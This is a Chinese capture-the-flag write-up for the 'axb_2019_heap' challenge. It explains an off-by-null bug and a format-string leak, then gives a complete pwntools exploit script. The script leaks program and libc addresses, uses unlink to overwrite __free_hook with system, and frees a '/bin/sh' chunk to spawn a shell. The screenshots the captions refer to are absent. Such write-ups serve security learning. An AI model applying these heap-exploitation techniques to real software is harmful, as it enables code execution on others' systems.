64位,保护机制全开,IDA中分析
此处edit()函数中会多写入\x00字节,导致溢出一个\x00字节,存在of by null 漏洞,add()中限制了我们申请堆块的大小,只能申请大于0x80的堆块
1.利用格式化字符串漏洞泄露出程序基地址和libc基地址
2.利用unlink,通过unlink修改chunk0的内存地址为free_hook地址,再次edit0号堆块,覆写为system地址
3.free掉chunk中为’/bin/sh’的堆块,get shell.
1.经过调试可以看到%14$p%$15p的位置上分别是程序地址和libc中的地址,通过格式化字符串漏洞泄露出来
算出free_hook地址和system地址
io.recvuntil(':')
io.sendline('%14$p%15$p')
io.recvuntil('Hello, 0x')
elf = int(io.recv(12),16)
elf_base = elf - 0x1200
io.recvuntil('0x')
leak = int(io.recv(12),16)
libc_base = leak - 0x20840
success(hex(elf_base))
success(hex(libc_base))
note = elf_base + 0x202060
success(hex(note))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
success(hex(free_hook))
success(hex(system))
2.之后通过堆布局,运用unlink覆写free_hook为system,
add(0,0x88,'AAAA')
add(1,0xf0,'AAAA')
add(2,0x90,'BBBB')
add(3,0x90,'/bin/sh\x00')
此时的堆中布局
这里屏幕原因,最后一个堆块没截全,unlink前的note中为
接下来通过伪造堆头来unlink
edit(0,p64(0) + p64(0x81) + p64(note-0x18) + p64(note-0x10) + p64(0)*12 + p64(0x80))# fd--> note-0x18 , bk--> note-0x10,此处为了绕过unlink检查机制
free(1)
伪造的堆头:
此处通过of by null修改了下个chunk的pre_inuse位,free过1 之后,note链表结构为:
chunk0的内存地址被我们改写为note-0x18的位置,
接下来通过edit0号堆块,将此地址改写为free_hook地址,再覆写为system
edit(0,p64(0)*3 + p64(free_hook) + p64(0x10))
edit(0,p64(system))
修改后:
成功覆写为system,free(3)即可get shell
from pwn import *
elf = ELF('./axb_2019_heap')
io = process('./axb_2019_heap')
libc = elf.libc
context(log_level='debug')
def choice(c):
io.recvuntil('>>')
io.sendline(str(c))
def add(index,size,content):
choice(1)
io.recvuntil(':')
io.sendline(str(index))
io.recvuntil(':')
io.sendline(str(size))
io.recvuntil(':')
io.sendline(content)
def free(index):
choice(2)
io.recvuntil(':')
io.sendline(str(index))
def edit(index,content):
choice(4)
io.recvuntil(':')
io.sendline(str(index))
io.recvuntil(':')
io.sendline(content)
io.recvuntil(':')
io.sendline('%14$p%15$p')
io.recvuntil('Hello, 0x')
elf = int(io.recv(12),16)
elf_base = elf - 0x1200
io.recvuntil('0x')
leak = int(io.recv(12),16)
libc_base = leak - 0x20840
success(hex(elf_base))
success(hex(libc_base))
note = elf_base + 0x202060
success(hex(note))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
success(hex(free_hook))
success(hex(system))
add(0,0x88,'AAAA')
add(1,0xf0,'AAAA')
add(2,0x90,'BBBB')
add(3,0x90,'/bin/sh\x00')
edit(0,p64(0) + p64(0x81) + p64(note-0x18) + p64(note-0x10) + p64(0)*12 + p64(0x80))
free(1)
edit(0,p64(0)*3 + p64(free_hook) + p64(0x10)) #此处0x10为0号堆块的size,不加的话会出现报错
edit(0,p64(system))
gdb.attach(io)
free(3)
io.interactive()